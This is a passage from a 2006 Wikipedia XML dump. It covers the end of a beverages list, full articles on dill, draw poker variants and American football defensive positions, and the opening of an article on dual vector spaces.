*** [[Fruit drinks]] ([[Hi-C]] et al)
*** [[Lemonade]]
*** [[Limeade]]
*** [[Orange drink]] ([[Tang]] et al)
*** [[Squash (drink)|Squash]]
*** Powdered drinks ([[Kool-aid]] et al)
*** Syrup drinks ([[Zarex]] et al)
*** Frozen [[ade]]s
**** [[Hawaiian Ice]]
**** [[Slush]]
**** [[Snow cone]]
** [[Carbonation|Carbonated]] beverages
*** [[Carbonated water]]
*** [[fermentation|Fermented]] [[soft drink]]s (in their original form, many are now made from syrup and carbonated water).
**** [[Cola]] ([[Coca-Cola]] et al)
**** [[Birch beer]]
**** [[Dandelion and burdock]]
**** [[Ginger ale]]
**** [[Ginger beer]]
**** [[Moxie]]
**** [[Root beer]]
**** [[Sarsaparilla]]
*** Other [[carbonation|carbonated]] [[soft drink]]s
**** Citrus [[soft drinks]] ([[7-up]] et al)
**** [[Cream soda]]
**** [[Energy drink]]
**** [[Irn Bru]]
**** [[Kofola]]
* [[Sports drink]]s ([[Gatorade]] et al)
* [[Dairy product|Dairy drinks]]
** Flavored [[milk]]
*** [[Chocolate milk]]
*** [[Ovaltine]]
** Frozen [[Dairy product|Dairy drinks]]
*** [[root beer float|Float]]
*** [[Frappe]]
*** [[Milkshake]]
**** Malted [[milkshake]]
*** [[Smoothie]]
** [[Cream]]
** [[Eggnog]]
** [[Horchata]]
** [[Kumis]]
** [[Milkshake]]
** [[Milk]]
** [[Yogurt]] drink
** [[Yoo-hoo]]
** Non-dairy variants
*** [[Almond milk]]
*** [[Rice milk]]
*** [[Soy milk]]
* [[Alcoholic beverage]]s (which see for classification).
** Non-alcoholic variants
*** [[Near beer]]
*** Non-alcoholic [[wine]]
*** [[Sparkling cider]]
* [[Hot beverage]]s, including [[infusion]]s. Sometimes drunk chilled.
** [[Coffee]]-based beverages
*** [[Cappucino]]
*** [[Coffee]]
*** [[Espresso]]
*** [[Greek frappe coffee|Frappé]]
*** Flavored [[coffee]]s ([[mocha]] et al).
*** [[Iced coffee]]
*** [[Latte]]
** [[Hot chocolate]]
** [[cider|Hot cider]]
*** Mulled [[cider]]
** [[Tea]]-based beverages
*** Flavored [[tea]]s ([[chai]] et al).
*** [[Iced tea]]
*** [[Pearl milk tea]]
*** [[Tea]]
** [[Herbal tea]]s
** Roasted [[grain]] beverages ([[Postum]] et al).

Some substances may either be called [[food]] or drink, and accordingly be eaten with a spoon or drunk, depending on solid ingredients in it and on how thick it is, and on preference:
* [[Soup]] 
* [[Yogurt]]

Hot beverages like coffee can cause [[burn (injury)|scalding]] when drunk before cooling, or spilled. See [[McDonald's coffee case]].

==See also==
{{cookbookpar|Beverages}}
*[[Drinking]]
*[[Food]]
*[[Nutrition]]
*[[List of cocktails]]
[[Category:Beverages| ]]

== External links==
* [http://www.editthis.info/Wiki_Drinks Wiki Drinks]
* [http://www.drinkswap.com DrinkSwap.com 10,000+Drink Recipes]
* [http://www.bevnet.com BevNET.com Non-alcoholic Beverage Reviews]

[[bn:পানীয়]]
[[de:Getränk]]
[[es:Bebida]]
[[eo:Trinkaĵo]]
[[fr:Boisson]]
[[gl:Bebida]]
[[ko:음료]]
[[ku:Vexwirak]]
[[id:Minuman]]
[[he:משקה]]
[[nl:Drank]]
[[nds:Drinken]]
[[ja:飲料]]
[[pt:Bebida]]
[[ru:Напиток]]
[[fi:Juoma]]
[[sw:Vinywaji]]
[[zh:饮料]]</text>
    </revision>
  </page>
  <page>
    <title>Dill</title>
    <id>7985</id>
    <revision>
      <id>41591266</id>
      <timestamp>2006-02-28T10:01:51Z</timestamp>
      <contributor>
        <ip>161.116.236.28</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Dill
| image = Illustration Anethum graveolens0.jpg
| image_width = 240px
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| ordo = [[Apiales]]
| familia = [[Apiaceae]]
| genus = '''''Anethum'''''
| species = '''''A. graveolens'''''
| binomial = ''Anethum graveolens''
| binomial_authority = [[Carolus Linnaeus|L.]]
}}

[[Image:Dill dried umbel.jpg|thumb|Dried Dill-umbel]]
'''Dill''' (''Anethum graveolens'') is a short-lived [[annual plant|annual]] [[herb]], native to southwest and central [[Asia]]. It is the sole species of the genus ''Anethum'', though classified by some botanists in the related genus ''[[Peucedanum]]'' as ''Peucedanum graveolens'' (L.) C.B.Clarke.

It grows to 40-60 cm tall, with slender stems and alternate, finely divided, softly delicate [[leaf|leaves]] 10-20 cm long. The ultimate leaf divisions are 1-2 mm broad, slightly broader than the similar leaves of [[Fennel]], which are thread-like, less than 1 mm broad, but harder in texture. The [[flower]]s are white to yellow, in small [[umbel]]s 2-9 cm diameter. The [[seed]]s are 4-5 mm long and 1 mm thick, and straight to slightly curved with a longitudinally ridged surface.

===Cultivation and uses===
Dill has long been cultivated as a herb throughout [[Europe]] and north [[Africa]] as well as in its native Asia. It was used by [[Egypt]]ian doctors 5000 years ago and traces have been found in [[Roman Empire|Roman]] ruins in [[Great Britain]]. In the [[Middle Ages]] it was thought to protect against witchcraft [http://www.selfsufficientish.com/dill.htm].

In [[Semitic languages]] it is known by the name of '''Shubit'''. The [[Talmud]] requires that [[tithe]]s shall paid on the seeds, leaves, and stem of dill. The [[Bible]] reports that the [[Pharisee]]s were in the habit of paying this tithe; [[Jesus]] rebuked them for tithing dill but omitting mercy.

The name dill is thought to have originated from a Norse or Anglo-Saxon word 'dylle' meaning to soothe or lull, the plant having the carminative property of allaying pain.

Like [[caraway]], its fernlike leaves are aromatic, and are used to flavour many [[food]]s, such as [[gravad laks]] (pickled [[salmon]]), [[borscht]] and other [[soup]]s and [[pickle]]s. The seeds are also used to flavour pickles. Dill leaves must be used fresh, as they lose their flavour rapidly if dried; even [[Freeze drying|freeze-dried]] dill leaves have very little flavour. It is thus necessary to grow a supply of plants, rather than store the leaves.

Successful cultivation requires warm to hot summers with high sunshine levels; even partial shade will reduce the yield substantially. It also prefers rich, well drained soil. The seeds are viable for 3-10 years. Plants intended for seed for further planting should not be grown near fennel, as the two species can [[hybrid]]ise.

The seed is harvested by cutting the flower heads off the stalks when the seed is beginning to ripen. The seed heads are placed upside down in a paper bag and left in a warm dry place for a week. The seeds then separate from the stems easily for storage in an airtight container.

==References==
* Hamilton, Andy (2005). [http://www.selfsufficientish.com/dill.htm &quot;Selfsufficientish - Dill&quot;]. Retrieved [[25 May]] [[2005]].

[[Category:Apiaceae]]
[[Category:Herbs]]

[[bg:Копър]]
[[ca:Anet]]
[[de:Dill (Pflanze)]]
[[es:Anethum graveolens]]
[[eo:Aneto]]
[[fa:شوید]]
[[fr:Aneth odorant]]
[[gl:Aneto]]
[[lt:Krapas]]
[[hu:Kapor]]
[[nl:Dille]]
[[ja:イノンド]]
[[pl:Koper (roślina)]]
[[pt:Endro]]
[[ru:Укроп]]
[[sq:Kopra]]
[[sl:Koper (začimba)]]
[[fi:Tilli]]
[[sv:Dill]]
[[tr:Dereotu]]</text>
    </revision>
  </page>
  <page>
    <title>Draw poker</title>
    <id>7986</id>
    <revision>
      <id>41048296</id>
      <timestamp>2006-02-24T18:46:23Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>/* Badougi */</comment>
      <text xml:space="preserve">'''Draw poker''' is any [[poker variant]] in which each player is dealt a complete hand before the first betting round, and then develops the hand for later rounds by replacing cards.

The descriptions below assume that you are familiar with the general [[Poker game play|game play]] of [[poker]], and with [[Hand (poker)|hand values]] (both high and low variations).  They also make no assumptions about what [[Betting (poker)|betting structure]] is used.  In home games, it is typical to use an [[ante]], and betting always begins with the player to the dealer's left.  In casino play, it is more common to use [[Blind (poker)|blind]]s; the first betting round thus begins with the player to the left of the big blind, and subsequent rounds begin with the player to the dealer's left, thus draw games are very [[Position (poker)|positional]].

Some sample deals below will assume that a game is being played by four players: Alice, who is dealing in the examples, Bob, who is sitting to her left, Carol to his left, and David to Carol's left.

==Standard five-card draw==

[[Image:Draw-poker-table.png|right|300px|Draw poker]]

This is often the first poker variant learned by most players, and is very common in home games although it is now quite rare in casino and tournament play.  When played skillfully, it can become monotonous.  The lowball variations described later are more interesting games.  Two to eight players can play.

Play begins with each player being dealt five cards, one at a time, all face down.  The remaining deck stub is placed aside, often protected by placing a chip or other marker on it.  Players pick up the cards and hold them in their hands, being careful to keep them concealed from the other players.  The first betting round occurs at this point, starting with the player to the dealer's left.  If more than one player remains after this round, the &quot;draw&quot; phase begins.  Each player specifies how many of his cards he wishes to replace, and discards that many from his hand.  The deck stub is retrieved, and after a [[burn card]] is dealt, each player in turn is dealt the same number of cards he discarded, so that each player again has five cards.  It is important that each player discards the cards he wishes to replace before he takes any replacements, and that he take the same number of replacements as he discarded.  A second betting round occurs after the draw phase, followed by a showdown if more than one player remains.

A common &quot;house rule&quot; in some places is that a player may not replace more than three cards, unless he draws four cards while keeping an ace (or wild card).  This rule is only needed for low-limit social games where many players will stay for the draw, and will help avoid depletion of the deck stub.  In more serious games such as those played in casinos it is unnecessary and generally not used.  A rule that ''is'' used by many casinos is that a player is not allowed to draw five consecutive cards from the deck.  In this case, if a player wishes to replace all five of his cards, he is given four of them in turn, the other players are given their draws, and then the dealer returns to that player to give him his fifth replacement (if no later player drew, it is necessary to deal a burn card first).

Another common house rule is that the bottom card of the deck is never given as a replacement, to avoid the possibility of someone who might have seen it during the deal using that information.  If the deck stub is depleted during the draw before all players have received their replacements, the last players can receive cards chosen randomly from among those discarded by previous players.  For example, if the last player to draw wants three replacements but there are only two cards remaining in the deck stub, the dealer gives the player the one top card he can give, then shuffles together the bottom card of the deck, the burn card if any, and the earlier players' discards (but not the three discards of the last player!), and finally deals two more replacements to the last player.

'''Example:''' Alice deals five cards to each player and places the deck stub aside.  Bob opens the betting round by betting $1.  Carol folds, David calls, and Alice calls, closing the betting round.  Bob now declares that he wishes to replace three of his cards, so he removes those three cards from his hand and discards them.  Alice retrieves the deck stub, deals a burn card, and then deals three cards directly to Bob, who puts them in his hand.  David discards one card, and Alice deals one card to him from the deck stub.  Alice now discards three of her own cards, and replaces them with three from the top of the deck stub.  Now a second betting round begins.  Bob checks, David bets $3, Alice calls, and Bob folds, ending the second betting round.  David shows a flush, and Alice shows two pair, so David takes the pot.

==Other draw games==

===Gardena jackpots (&quot;Jacks to open&quot; or simply &quot;Jackpots&quot;)===
Played as above, with standard hand values, and with a single joker in the deck acting as a [[Bug (poker)|bug]].  Always played with an ante and no blinds.  On the first betting round, no player is allowed to open the betting unless his hand already contains a pair of jacks or a better hand.  Other players who checked on the first round may subsequently call or raise if someone else opens.  If no player opens, a new deal begins and everyone antes again into the same pot.  The player who opened the betting keeps his discarded cards near him on the table so that he can prove, if necessary, that he had a sufficient opening hand.  For example, a player with the '''K''', '''J''', '''9''', and '''7''' of clubs and the '''J''' of hearts has a pair of jacks and may open.  He may wish to &quot;break openers&quot; in this case by discarding the jack of hearts in an attempt to make the club flush, so he keeps the discarded jack to prove that he was entitled to open.

The game is named after the city of Gardena, California, where this game was especially popular from the 1930s to 1970s (though it was always secondary to lowball).  At that time, there were more public poker tables in that small city than in all the rest of the [[United States]].  Public poker rooms are still a big industry there, though Las Vegas, Atlantic City, and other locations now have many more poker rooms than they did at that time.  Because &quot;Jacks to open&quot; was the primary form of high-hand draw poker played there, traditional draw poker was often described by the [[retronym]] &quot;Guts to open&quot;.

In home games, it is common that when a deal is &quot;passed out&quot; (that is, when no one opens), the players re-ante, and the qualifier to open is raised to a pair of queens.  If that deal is passed out, the qualifier is raised to kings, and finally to aces.  This is called &quot;progressive&quot; jackpots.

===California lowball===

This was the primary poker game played in California during the heyday of Gardena in the 1970s.  It is still played today, though its popularity has somewhat lessened since the introduction of [[stud poker]] and [[community card poker]] to the state.

Played as above, using [[ace-to-five low]] hand values, with a single joker in the deck.  Always played with blinds rather than antes, so players may not check on the first betting round (but may on the second round).  A player with a '''7'''-high hand or better who checks after the draw forfeits his right to win any money placed in the pot after the draw.  (In other words, you may not check a &quot;seven&quot; unless you intend to fold when someone else bets).  Another common rule in low-limit games is that a player who checks on the second betting round may not subsequently raise on that round.  This latter rule is never used in games with a pot limit or no limit betting structure.

===Badougi===

Also sometimes known as Padooki, Badougi is a four card [[ace-to-five low]] lowball variant where traditional poker hand rankings are changed. A Badougi is a four card hand where all the cards are of different ranks and suits. Any cards which match another card in rank or suit does not play and the first criteria for evaluating hands is the number of cards which are playing. The following is the ranking of several example of hands from best to worst:
#Ace of spades, 2 of clubs, 3 of hearts, 4 of diamonds: 4 card 4 high best possible Badougi
#4 of spades, 6 of hearts, 8 of diamonds, J of clubs: 4 card J high Badougi
#Ten of clubs, J of hearts, Q of Diamonds, K of hearts: 4 card worst possible Badougi
#Ace of hearts, Ace of diamonds, 4 of clubs, 5 of spades: 3 card hand, 5 high
#Ace of clubs, Ace of spades, 4 of spades, 6 of spades: 2 card hand, 4 high

Badougi is usually played triple-draw, with a 1-1-2-2 betting structure, although it also plays well at no limit.

===Other forms of lowball===

Five-card draw, with no joker, and [[deuce-to-seven low]] hand values is called &quot;Kansas City&quot; or &quot;Low Poker&quot; or even &quot;Billy Baxter&quot; draw in honor of the player who dominated the world championship in the event for many years.  The '''7'''-high rule and the no check-and-raise rule do not apply.  In the eastern United States, the [[United Kingdom]], and elsewhere, [[ace-to-six low]] hand values are common.

===California high/low split===

Played as above, with a single joker, used as a [[Bug (poker)|bug]].  High hand and low hand (using the [[ace-to-five low]] values) [[split (poker)|split]] the pot.  An '''8'''-high or better low is required to win low.  If no hand qualifies low, high hand takes the whole pot.  Played [[cards speak]], that is, players do not declare whether they intend to win the high or low half of the pot (or both); they simply show their cards and the best hands win.  Because ace-to-five low values are used, a hand such as a low straight or flush can win both high and low, called &quot;scooping&quot; or &quot;hogging&quot; the pot.

===High/low with declare===

This is common in home games but is rarely found in casinos today.  Played as are other versions of five-card draw, but after the second betting round and before the showdown, there is a simultaneous [[Declaration (poker)|declaration]] phase.  Each player takes two chips from his stack and takes them under the table, bringing up a closed fist that contains either no chips (indicating that the player intends to win the low half of the pot), one chip (indicating that the player intends to win the high half), or two chips (indicating that he intends to scoop).  When everyone has brought up the closed fist, the players all open their hands simultaneously to reveal their choices.  If any player shows two chips, and his hand is the best low and the best high, he scoops the pot.  Otherwise, half of the pot goes to the player with the highest hand who declared high, and the other half to the player with the lowest hand of those who declared low.  There is no qualifying hand to win either high or low, and if no one declares in one direction, the full pot is awarded in the other (for example, if all players declare low, the low hand wins the whole pot rather than half).  A player who declares for a scoop must win both ends outright, with no ties.  For example, if a player declares scoop, has the lowest hand clearly but ties for high, he wins nothing.  The other player with the same high hand wins the high half of the pot and the next-lowest hand wins low (assuming he declared low--if no other player declared low, the high hand who declared high wins the whole pot).

This game can be played with [[deuce-to-seven low]] or [[ace-to-six low]] hand values, but in that case it is nearly impossible to scoop (though you can still win the whole pot if everyone declares the same direction).

===Double-draw and Triple-draw===

Any game above can be played with two or three draw phases and therefore three or four betting rounds.  Double-draw California lowball is a particularly good game.  Triple draw lowball, either [[ace-to-five low|ace-to-five]] or [[deuce-to-seven low|deuce-to-seven]], has gained some popularity among serious players.  The 2004 [[World Series of Poker]] included a deuce-to-seven triple-draw lowball event.

===Four-before===

Another variation that can be applied to any game above, but that is especially suited to lowball.  On the initial deal, only four cards are dealt to each player.  A betting round follows, then each player draws one more card than he discards, completing his hand to five cards.  Then the final betting round and showdown.  Note that it is impossible to be dealt a &quot;pat&quot; hand, that is, a hand (such as a straight or flush) that is complete before the draw.

===Johnson (and &quot;Jacks back&quot;)===

Played with one joker which acts as a [[Bug (poker)|bug]].  Must be played with antes and no blinds.  Each player is dealt five cards.  The first betting round begins with the player to the dealer's left, who may check or open with anything.  If any player opens, the game continues as traditional five-card draw poker.  If the first round is passed out (that is, no one opens), then the player to the dealer's left may now open if he chooses, but the game has switched to California lowball.  On the rare occasion that the deal is passed out yet again, players re-ante and deal again.  This game plays well head-up (that is, with only two players).  When the game is played that a pair of jacks or better is required to open on the first high-hand round, the game is called &quot;Jacks back&quot;.

Some examples might help clarify: On the first deal, players ante and Alice deals five cards around.  Bob sees that he has a '''6'''-high straight, which is a very good hand for both high and low.  He also wants to be deceptive about the value of his hand, so he checks.  Carol opens for $1, David folds, Alice raises to $2, and Bob (who now realizes that Carol and Alice want to play high hands) reraises to $3, which is called by Carol and Alice.  Bob announces that he &quot;stands pat&quot; (draws no cards).  Carol draws three cards, and Alice draws two.  Bob bets $2, Carol folds, Alice raises, and Bob calls.  Bob shows his straight, but Alice has made a full house and wins the pot.

On the second deal, Bob has the same hand: a '''6'''-high straight, and makes the same play, checking.  This time, Carol also checks, as does David, and finally Alice.  Now it is Bob's turn again, but now they are playing lowball.  He opens for $1.  Carol folds, and David raises to $2.  Alice folds, and Bob reraises to $3 (a '''6'''-high is a very good low hand; much better, in fact, than a '''6'''-high straight would be for high).  David calls.  Bob stands pat, and David draws one card.  Bob bets $2 (he is required to bet under California lowball rules since he has a hand better than '''7'''-high), and David calls.  Bob shows his '''6-5-4-3-2''' low, and David shows '''7-5-4-3-A''' low, and Bob wins with his '''6'''-high.

===Q-Ball===

This is a lowball game designed by [[Michael Wiesenberg]] that combines some of the variations mentioned above.  It is generally played with three [[Blind (poker)|blinds]]--one unit from the dealer, one unit to his left, and two units for the second player to the dealer's left.  The deck contains one joker.  Each player is dealt three cards, followed by a round of betting beginning with the player immediately after the big blind who may call the big blind, raise, or fold (there is no checking on the first round).  Next, each player is dealt a fourth card, followed by a second round of betting starting with the still-active player to the dealer's left.  No checking is allowed on this round either, despite the fact that there is no bet facing the first player; the first player must [[Open (poker)|open]] or fold.  Each player is then dealt a fifth card, followed by a third betting round beginning on the dealer's left.  At this point, checking is allowed.  Finally, each player draws as in normal draw poker, followed by a fourth betting round and showdown.  [[Ace-to-five low]] values are used.

Played at [[Betting (poker)|fixed limit]], it is recommended that the betting structure be 1-2-2-4; that is, the second and third betting rounds should allow a bet of twice the amount of the first round, and the final bet should allow four times the amount of the first round.

==&quot;Home&quot; games==

These are somewhat less-serious games that are typically played only in home games at small stakes.  This does not necessarily mean that there is less opportunity for skillful play, just that the games are seen as more social than competitive.

To help grow the betting pot in a home game, one can add a variant known as the &quot;kill card&quot; to the rules.  Kill cards work best with stud games or shared card games as no one player can control when the &quot;kill card&quot; is played.

One popular &quot;kill card&quot; game is called Chernobyl Cowboy.  The &quot;Chernobyl Cowboy&quot; is the King of Hearts.  Whenever the King of Hearts appears face up in a [[stud]] or shared card game the game is dead.  All bets remain in the pot and the game begins again with a new ante and a new deal.  Anyone who has folded is out until the game concludes.  For example:  In a seven card stud game each player gets two cards down, then four cards up, then one final card down.  In a seven card stud game with a &quot;Chernobyl Cowboy&quot;, if the King of Hearts comes up during the time the four up cards are dealt, the game is killed and everyone who is still in antes again for a new round.

===Shotgun (&quot;Roll 'em out&quot; and &quot;Skinny Minnie&quot;)===

This is a draw game that plays much like a [[Stud poker|stud]] game.  First five cards are dealt to each player, followed by a betting round, and a draw.  Now, in place of a second round and showdown, there is a [[rollout]] phase, which begins with the players arranging their five cards in any chosen order, placing them face down in front of themselves.  Each player's top card is now revealed, followed by a betting round.  Then each player reveals his next card, followed by a betting round.  Then a third card is revealed, followed by a betting round, a fourth card, a betting round, and finally a showdown.  Players may not change the order of their cards at any time during the rollout phase.

This game can be played for high or low, but plays best at [[high-low split]], in which case it is called &quot;Skinny Minnie&quot;.

===Spit in the ocean===

This might be classified as a hybrid draw/[[Community card]] game, but it is placed here because it plays mostly as a draw game.  On the initial deal, each player is dealt four cards, and then a single card is dealt to the center of the table face up.  This card plays as if it were the fifth card in every player's hand.  It is also a wild card, and every other card of its rank is also wild.  The first betting round is then played, followed by a draw in which each player replaces cards from his hand with an equal number, so that each player still has only four cards in hand.  A final betting round is followed by a showdown.  High-hand values are used.

Here's a sample deal: Alice deals four cards to each player, then deals the next card face up to the center of the table.  it is the '''6''' of diamonds, and this makes all '''6'''-spot cards wild.  Bob opens for $1, Carol raises to $2, David folds, Alice and Bob call.  Bob discards two cards, and receives two replacements.  Carol draws one card, and Alice draws one.  Bob checks, Carol bets $2, Alice raises to $4, Bob folds, Carol reraises to $6, and Alice calls.  The cards in Carol's hand are '''Q-Q-6-4'''.  Because the '''6''' in her hand and the one on the board are wild, her hand is four queens.  Alice's hand contains '''K-J-9-7''', all spades.  With the shared wild card, this gives her a flush, which loses to Carol's four queens.

===Anaconda (&quot;Pass the trash&quot;)===

Seven cards are dealt to each player.  Before the first betting round, each player examines his hand, and removes exactly three cards from his hand and places them on the table to his left.  After each person has thus discarded, he picks up the cards discarded by his right-hand neighbor and places them in his hand (thus, each player will have given three cards to his left-hand neighbor).  It is important that each player discard before looking at the cards he is to receive.  After the first pass, there is a betting round.  Then a second pass occurs, each player passing two cards to his right.  A second betting round is followed by a third pass, each player passing one card to his left.  Finally, a fourth betting round and a showdown, in which the player with the best five-card high hand he can make out of the seven in his hand wins the pot.

In some casual games, the showdown is replaced by a [[rollout]] phase, as described above in &quot;Shotgun&quot;.  This makes a total of eight betting rounds in the game, which generally destroys any chance for skillful play in the later rounds.

==Ad hoc variants==

Any of the above games can be modified in many ways upon player whim, by designating additional wild cards, betting rounds, more or fewer cards, altered hand values, and any other change agreed upon by all players prior to each deal.  You can announce such a game by using the name of an existing game and specifying the variations, for example &quot;Three-card Triple-draw California lowball, Kings wild&quot; (a surprisingly good game heads up).  Many times this will result in a game that does not play well, but occasionally will produce a game that is well-suited to a particular group of players.  Even if it doesn't, such games can be used sparingly to enliven an otherwise serious game.

Here are some general guidelines:
* If you want to designate some normal suited cards as wild, choose cards that would otherwise be bad for the game being played.  For example, deuces wild for high-hand games, kings wild for lowball, '''9'''-spots wild for [[high-low split]] (where an '''8'''-high or lower is necessary to win low).
* High-low split games play best with more than four players.
* When playing high-low split, it is necessary to have either a [[Declaration (poker)|declaration]] phase or a qualifier (but not both).  The most common form is '''8'''-high or better to qualify low, but also common is any pair/no pair (that is, a pair or better is required to win high, and no pair or better low is required to win low), and '''9'''-high for low.
* Designating more than four wild cards (or possibly six) will result in considerable confusion and many ties.
* Two to five betting rounds makes a good game.  One round or more than five rounds reduces the amount of skill involved.
* Sometimes there is no betting round before the draw; players pick up their cards, discard and draw, and then the betting starts.
* Giving each player more than eight or nine cards usually makes a bad game. (Note that in Anaconda, each player will have seen up to thirteen cards!)

[[Category:Poker variants]]
[[fr:Poker fermé]]
[[pt:Pôquer fechado]]</text>
    </revision>
  </page>
  <page>
    <title>Defensive team</title>
    <id>7987</id>
    <revision>
      <id>41059099</id>
      <timestamp>2006-02-24T20:15:50Z</timestamp>
      <contributor>
        <ip>209.98.45.253</ip>
      </contributor>
      <text xml:space="preserve">The '''defensive team''' or '''defense''' in [[American football]] or [[Canadian football]], is the team that begins a [[play from scrimmage]] not in possession of the ball.

Unlike the offensive team, there are no formally defined defensive positions.  A defensive player may line up anywhere on his side of the line of scrimmage and perform any legal action.  However, most sets used in American football include a line composed of '''defensive ends''' and '''defensive tackles''' and, behind the line, '''linebackers''', '''cornerbacks''', and '''safeties'''.

Defensive ends and tackles are collectively called '''defensive line''', while the cornerbacks and safeties are collectively called '''the secondary''', or '''defensive backs'''.

*'''defensive end (DE)''' - the two defensive ends play on opposite outside edges of the defensive line. Their function is to rush and / or attack the passer, or stop offensive runs to the outer edges of the line of scrimmage. The faster of the two is usually placed on the right because this is a right-handed [[quarterback]]'s blind side.
*'''defensive tackle (DT)''' - (sometimes called a ''defensive guard''), defensive tackles are side-by-side linemen who are 'sandwiched' between the defensive ends. Their function is to rush the passer (if they can shove past the offensive linemen blocking them), and stop running plays directed at the middle of the line of scrimmage. A defensive tackle that lines up directly across from the ball (and therefore, is almost nose-to-nose with the offense's ''[[center]]'') is often called a ''nose tackle'' or ''[[nose guard]]''. Common defensive sets have from one to three defensive tackles.
*'''linebacker (LB; more specifically, OLB, MLB, LOLB, ROLB )''' - linebackers play behind the defensive line and perform various duties depending on the situation, including rushing the passer, covering receivers, and defending against the run. Most defensive sets have between two and four linebackers. Linebackers are usually divided into three types: strongside (Left- or Right- Outside Linebacker: LOLB or ROLB); middle (MLB); and weakside (LOLB or ROLB).  The strongside linebacker usually lines up across from the offense's [[tight end]]; he is usually the strongest LB because he must be able to shed lead blockers quickly enough to tackle the [[running back]]. The middle linebacker must correctly identify the offense's formations and what adjustments the entire defense must make, all in the fleeting seconds before the offense starts play (by snapping the ball to the [[quarterback]]).  Because of this, the middle linebacker is nicknamed the 'quarterback of the defense'.  The weakside linebacker is usually the most athletic or fastest linebacker, because he usually must defend an open field.
*'''cornerback (CB)''' -- (typically) two players that primarily cover the wide receivers; they attempt to prevent successful quarterback passes by either swatting the airborne ball away from the receiver, or by catching the pass themselves (automatically switching possession of the ball to their team) -- an ''interception''.  In rushing situations, their job is to contain the rusher.
*'''safety (FS or SS)''' -- the safeties are the last line of defense (farthest from the line of scrimmage), and usually help the corners with deep-pass coverage.  The ''strong safety'' (SS) is usually the larger and stronger of the two, providing extra protection against run plays by standing somewhere between the free safety and the line of scrimmage. The ''free safety'' (FS) is usually the smaller and faster of the two, providing variable and extra pass protection. However, more recently, teams are looking for hybrid safeties who can do both jobs, as in a cover 2 defence, the strong safety has a greater role to play in coverage.
*'''nickel'''- and '''dime'''- backs -- in certain formations one extra (i.e., a fifth) defensive back (called a 'nickel' defense: a nickel coin = ''five'' cents) -- or even two extra (a fifth and sixth) DBs (called a 'dime' package: a dime = two nickels) -- may be used to augment the backfield and / or defensive line.  Nickelbacks and dimebacks are usually used to defend pass plays with extra receivers, but they can also be used to rush quarterbacks or runningbacks more quickly than linemen or most linebackers can.  A starting cornerback who is good at blitzing and tackling will sometimes be refered to as a nickleback, to distinguish them from cornerbacks who are better in coverage and poor in this respect.

==See also==
*[[American football defensive schemes]]
*[[Lineman (football)]]
*[[Defensive back]]
*[[Offensive team]]
*[[Special team]]s
*[[Glossary of American football]]


[[Category:American football terminology]]
[[Category:Canadian football terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Dual space</title>
    <id>7988</id>
    <revision>
      <id>39919912</id>
      <timestamp>2006-02-16T20:57:16Z</timestamp>
      <contributor>
        <ip>128.187.0.164</ip>
      </contributor>
      <comment>/* Examples */</comment>
      <text xml:space="preserve">In [[mathematics]], the existence of a '''dual vector space''' reflects in an abstract way the relationship between ''row'' vectors (1&amp;times;n) and ''column'' vectors (n&amp;times;1). The construction can also take place for infinite-dimensional spaces and gives rise to important ways of looking at [[measure (mathematics)|measures]], [[distribution (mathematics)|distribution]]s, and [[Hilbert space]]. The use of the dual space in some fashion is thus characteristic of [[functional analysis]]. It is also inherent in the [[Fourier transform]].

== Algebraic dual space ==

Given any [[vector space]] V over some [[field (mathematics)|field]] F, we define the '''dual space''' V* to be the set of all [[linear functional]]s on V, i.e., [[scalar]]-valued [[linear transformation]]s on V (in this context, a &quot;scalar&quot; is a member of the base-field F).  V* itself becomes a vector space over F under the following definition of addition and scalar multiplication:
:&lt;math&gt; (\phi + \psi )( x ) = \phi ( x ) + \psi ( x ) \,&lt;/math&gt;
:&lt;math&gt; ( a \phi ) ( x ) = a \phi ( x ) \,&lt;/math&gt; 
for all &amp;phi;, &amp;psi; in V*, ''a'' in F and ''x'' in V.
In the language of [[tensor]]s, elements of V are sometimes called [[covariant]] vectors, and elements of V*, [[contravariant]] vectors, '''covectors''' or '''[[one-form]]s'''.

===Examples===

If the [[Hamel dimension|dimension]] of V is finite,
then V* has the same dimension as V;
if {'''e'''&lt;sub&gt;1&lt;/sub&gt;,...,'''e'''&lt;sub&gt;''n''&lt;/sub&gt;} is a [[basis of a vector space|basis]] for V, then the associated ''dual basis'' {'''e'''&lt;sup&gt;1&lt;/sup&gt;,...,'''e'''&lt;sup&gt;''n''&lt;/sup&gt;} of V* is given by 

:&lt;math&gt;
e^i (e_j)= \left\{\begin{matrix} 1, &amp; \mbox{if }i = j \\ 0, &amp; \mbox{if } i \ne j \end{matrix}\right.
&lt;/math&gt;

In the case of R&lt;sup&gt;2&lt;/sup&gt;, its basis is B={e&lt;sub&gt;1&lt;/sub&gt;=(1,0),e&lt;sub&gt;2&lt;/sub&gt;=(0,1)}.Then, e&lt;sup&gt;1&lt;/sup&gt; is a one-form (function which maps a vector to a scalar) such that e&lt;sup&gt;1&lt;/sup&gt;(e&lt;sub&gt;1&lt;/sub&gt;)=1, and e&lt;sup&gt;1&lt;/sup&gt;(e&lt;sub&gt;2&lt;/sub&gt;)=0. Similarity for e&lt;sup&gt;2&lt;/sup&gt;.

Concretely, if we interpret '''R'''&lt;sup&gt;''n''&lt;/sup&gt; as space of columns of ''n'' [[real number]]s, its dual space is typically written as the space of ''rows'' of ''n'' real numbers. Such a row acts on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; as a linear functional by ordinary [[matrix multiplication]]. 

If V consists of the space of geometrical [[vector (spatial)|vector]]s (arrows) in the plane, then the elements of the dual V* can be intuitively represented as collections of parallel lines. Such a collection of lines can be applied to a vector to yield a number in the following way: one counts how many of the lines the vector crosses.

